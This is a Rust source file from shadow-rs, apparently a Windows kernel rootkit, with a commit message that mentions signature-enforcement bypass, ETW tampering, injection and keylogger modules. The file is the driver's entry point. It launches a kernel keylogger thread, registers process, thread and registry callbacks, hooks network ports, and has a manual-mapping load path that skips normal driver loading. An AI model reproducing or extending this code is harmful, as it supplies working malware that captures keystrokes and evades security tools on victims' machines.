Files
shadow-rs/driver/src/lib.rs
joaoviictorti 8f96d4ec09 feature(driver): refactor internals and improve callback management
- Moved and refactored several internal modules to `driver/src/internals/`:
  - Added new files: `enums.rs`, `externs.rs`, `structs.rs`, `types.rs`, and `mod.rs`.
  - Renamed `includes/vad.rs` to `internals/vad.rs` for better organization.
- Updated `callback` module:
  - Refactored `notify_routine.rs`, `object.rs`, `registry.rs`, and supporting files for better callback handling.
  - Improved callback finding mechanism in `find_callback.rs` and `ioctls.rs`.
- Adjusted `injection` module:
  - Refactored callback and I/O control handling in `callbacks.rs` and `ioctls.rs`.
- Miscellaneous improvements:
  - Updated `misc/dse.rs`, `misc/etwti.rs`, and `keylogger/mod.rs`.
  - Refactored `process`, `registry`, and `thread` modules for better maintainability.
  - Simplified utility functions in `utils/`, including `address.rs`, `handles.rs`, `patterns.rs`, and more.
  - Cleaned up and removed unused files like `.gitignore` in multiple directories.
- Updated `Cargo.toml` and `Cargo.lock` to reflect dependency changes.
2024-09-25 18:28:10 -03:00

336 lines
10 KiB
Rust

#![no_std]
#![allow(unused_must_use)]
#![allow(unreachable_code)]
#![allow(unused_variables)]
extern crate alloc;
use {
utils::uni,
port::Port,
core::ptr::null_mut,
kernel_log::KernelLogger,
crate::utils::ioctls::IOCTL_MAP,
misc::keylogger::{keylogger, SHUTDOWN},
wdk_sys::{ntddk::*, _MODE::KernelMode, *}
};
#[cfg(not(feature = "mapper"))]
use {
process::{on_pre_open_process, CALLBACK_REGISTRATION_HANDLE_PROCESS},
thread::{on_pre_open_thread, CALLBACK_REGISTRATION_HANDLE_THREAD},
registry::{registry_callback, CALLBACK_REGISTRY},
};
#[cfg(not(feature = "mapper"))]
pub mod registry;
pub mod callback;
pub mod misc;
pub mod driver;
pub mod internals;
pub mod process;
pub mod thread;
pub mod module;
pub mod injection;
pub mod port;
pub mod utils;
/// The name of the device in the device namespace.
const DEVICE_NAME: &str = "\\Device\\shadow";
/// The name of the device in the DOS device namespace.
const DOS_DEVICE_NAME: &str = "\\??\\shadow";
/// Driver input function.
///
/// This function is called by the system when the driver is loaded.
///
/// # Parameters
///
/// - `driver_object`: Pointer to the driver object.
/// - `registry_path`: Pointer to the Unicode string that specifies the driver's registry path.
///
/// # Returns
///
/// - `NTSTATUS`: Status code indicating the success or failure of the operation.
///
/// Reference: WDF expects a symbol with the name DriverEntry
#[export_name = "DriverEntry"]
pub unsafe extern "system" fn driver_entry(
driver: &mut DRIVER_OBJECT,
registry_path: PCUNICODE_STRING,
) -> NTSTATUS {
KernelLogger::init(log::LevelFilter::Info).expect("Failed to initialize logger");
#[cfg(feature = "mapper")] {
use internals::IoCreateDriver;
const DRIVER_NAME: &str = "\\Driver\\shadow";
let mut driver_name = uni::str_to_unicode(DRIVER_NAME).to_unicode();
let status = IoCreateDriver(&mut driver_name, Some(shadow_entry));
if !NT_SUCCESS(status) {
log::error!("IoCreateDriver Failed With Status: {status}");
}
return status;
}
shadow_entry(driver, registry_path)
}
/// Driver input function.
///
/// This function is called by the system when the driver is loaded. It is responsible for
/// initializing the driver, creating the device object and setting up the symbolic link.
///
/// # Parameters
///
/// - `driver_object`: Pointer to the driver object.
/// - `_registry_path`: Pointer to the Unicode string that specifies the driver's registry path.
///
/// # Returns
///
/// - `NTSTATUS`: Status code indicating the success or failure of the operation.
///
pub unsafe extern "system" fn shadow_entry(
driver: &mut DRIVER_OBJECT,
_registry_path: PCUNICODE_STRING,
) -> NTSTATUS {
log::info!("Shadow Loaded");
let device_name = uni::str_to_unicode(DEVICE_NAME);
let dos_device_name = uni::str_to_unicode(DOS_DEVICE_NAME);
let mut device_object: *mut DEVICE_OBJECT = core::ptr::null_mut();
let mut status = IoCreateDevice(
driver,
0,
&mut device_name.to_unicode(),
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
0,
&mut device_object,
);
if !NT_SUCCESS(status) {
log::error!("IoCreateDevice Failed With Status: {status}");
return status;
}
driver.DriverUnload = Some(driver_unload);
driver.MajorFunction[IRP_MJ_CREATE as usize] = Some(driver_close);
driver.MajorFunction[IRP_MJ_CLOSE as usize] = Some(driver_close);
driver.MajorFunction[IRP_MJ_DEVICE_CONTROL as usize] = Some(device_control);
status = IoCreateSymbolicLink(&mut dos_device_name.to_unicode(),&mut device_name.to_unicode());
if !NT_SUCCESS(status) {
IoDeleteDevice(device_object);
log::error!("IoCreateSymbolicLink Failed With Status: {status}");
return status;
}
let mut h_thread: HANDLE = core::ptr::null_mut();
status = PsCreateSystemThread(
&mut h_thread,
THREAD_ALL_ACCESS,
null_mut(),
null_mut(),
null_mut(),
Some(keylogger),
null_mut(),
);
if !NT_SUCCESS(status) {
IoDeleteDevice(device_object);
log::error!("PsCreateSystemThread Failed With Status: {status}");
return status;
}
#[cfg(feature = "mapper")] {
(*device_object).Flags |= DO_BUFFERED_IO;
(*device_object).Flags &= !DO_DEVICE_INITIALIZING;
}
#[cfg(not(feature = "mapper"))] {
status = register_callbacks(driver);
if !NT_SUCCESS(status) {
log::error!("register_callbacks Failed With Status: {status}");
return status;
}
}
let status = unsafe { Port::install_hook() };
STATUS_SUCCESS
}
/// Handles device control commands (IOCTL).
///
/// This function is responsible for processing IOCTL commands received by the driver and executing the corresponding actions.
///
/// # Parameters
///
/// - `_device`: Pointer to the device object (not used in this function).
/// - `irp`: Pointer to the I/O request packet (IRP) that contains the information about the device control request.
///
/// # Returns
///
/// - `NTSTATUS`: Status code indicating the success or failure of the operation.
///
pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
let status = if let Some(handler) = IOCTL_MAP.get(&control_code) {
handler(irp, stack)
} else {
STATUS_INVALID_DEVICE_REQUEST
};
(*irp).IoStatus.__bindgen_anon_1.Status = status;
IofCompleteRequest(irp, IO_NO_INCREMENT as i8);
status
}
/// Closes an open instance of the device.
///
/// This function is called when an open instance of the device is closed.
/// It marks the I/O request (IRP) as successfully completed.
///
/// # Parameters
///
/// - `_device_object`: Pointer to the associated device object (not used in this function).
/// - `irp`: Pointer to the I/O request packet (IRP) containing the information about the close request.
///
/// # Returns
///
/// - `NTSTATUS`: Status code indicating the success of the operation (always returns `STATUS_SUCCESS`).
///
pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
(*irp).IoStatus.__bindgen_anon_1.Status = STATUS_SUCCESS;
(*irp).IoStatus.Information = 0;
IofCompleteRequest(irp, IO_NO_INCREMENT as i8);
STATUS_SUCCESS
}
/// Download the system driver.
///
/// This function is called when the driver is being unloaded from the system.
/// It removes the symbolic link and deletes the device object associated with the driver.
///
/// # Parameters
///
/// - `driver_object`: Pointer to the driver object being unloaded.
///
pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) {
log::info!("Unloading driver");
SHUTDOWN = true;
let hook_status = Port::uninstall_hook();
if !NT_SUCCESS(hook_status) {
log::error!("Failed to uninstall hook before unload");
}
let mut interval = LARGE_INTEGER {
QuadPart: -50 * 1000_i64 * 1000_i64,
};
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
let dos_device_name = uni::str_to_unicode(DOS_DEVICE_NAME);
IoDeleteSymbolicLink(&mut dos_device_name.to_unicode());
IoDeleteDevice((*driver_object).DeviceObject);
#[cfg(not(feature = "mapper"))] {
ObUnRegisterCallbacks(process::CALLBACK_REGISTRATION_HANDLE_PROCESS);
ObUnRegisterCallbacks(CALLBACK_REGISTRATION_HANDLE_THREAD);
CmUnRegisterCallback(CALLBACK_REGISTRY);
}
let mut interval = LARGE_INTEGER {
QuadPart: -1 * -(50 * 1000_i64),
};
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
log::info!("Shadow Unload");
}
/// Register Callbacks.
///
/// # Parameters
///
/// - `driver_object`: Pointer to the driver object being unloaded.
///
/// # Returns
///
/// - `NTSTATUS`: Status code indicating the success of the operation (always returns `STATUS_SUCCESS`).
///
#[cfg(not(feature = "mapper"))]
pub unsafe fn register_callbacks(driver_object: &mut DRIVER_OBJECT) -> NTSTATUS {
let mut status;
// Creating callbacks related to Process operations
let mut op_reg = OB_OPERATION_REGISTRATION {
ObjectType: PsProcessType,
Operations: OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE,
PreOperation: Some(on_pre_open_process),
PostOperation: None,
};
let altitude = uni::str_to_unicode("31243.5222");
let mut cb_reg = OB_CALLBACK_REGISTRATION {
Version: OB_FLT_REGISTRATION_VERSION as u16,
OperationRegistrationCount: 1,
Altitude: altitude.to_unicode(),
RegistrationContext: core::ptr::null_mut(),
OperationRegistration: &mut op_reg,
};
status = ObRegisterCallbacks(&mut cb_reg,core::ptr::addr_of_mut!(CALLBACK_REGISTRATION_HANDLE_PROCESS));
if !NT_SUCCESS(status) {
log::error!("ObRegisterCallbacks (Process) Failed With Status: {status}");
return status;
}
// Creating callbacks related to thread operations
let mut op_reg = OB_OPERATION_REGISTRATION {
ObjectType: PsThreadType,
Operations: OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE,
PreOperation: Some(on_pre_open_thread),
PostOperation: None,
};
let altitude = uni::str_to_unicode("31243.5223");
let mut cb_reg = OB_CALLBACK_REGISTRATION {
Version: OB_FLT_REGISTRATION_VERSION as u16,
OperationRegistrationCount: 1,
Altitude: altitude.to_unicode(),
RegistrationContext: core::ptr::null_mut(),
OperationRegistration: &mut op_reg,
};
status = ObRegisterCallbacks(&mut cb_reg,core::ptr::addr_of_mut!(CALLBACK_REGISTRATION_HANDLE_THREAD));
if !NT_SUCCESS(status) {
log::error!("ObRegisterCallbacks (Thread) Failed With Status: {status}");
return status;
}
// Creating callbacks related to registry operations
let mut altitude = uni::str_to_unicode("31422.6172").to_unicode();
status = CmRegisterCallbackEx(
Some(registry_callback),
&mut altitude,
driver_object as *mut DRIVER_OBJECT as *mut core::ffi::c_void,
null_mut(),
core::ptr::addr_of_mut!(CALLBACK_REGISTRY),
null_mut(),
);
if !NT_SUCCESS(status) {
log::error!("CmRegisterCallbackEx Failed With Status: {status}");
return status;
}
status
}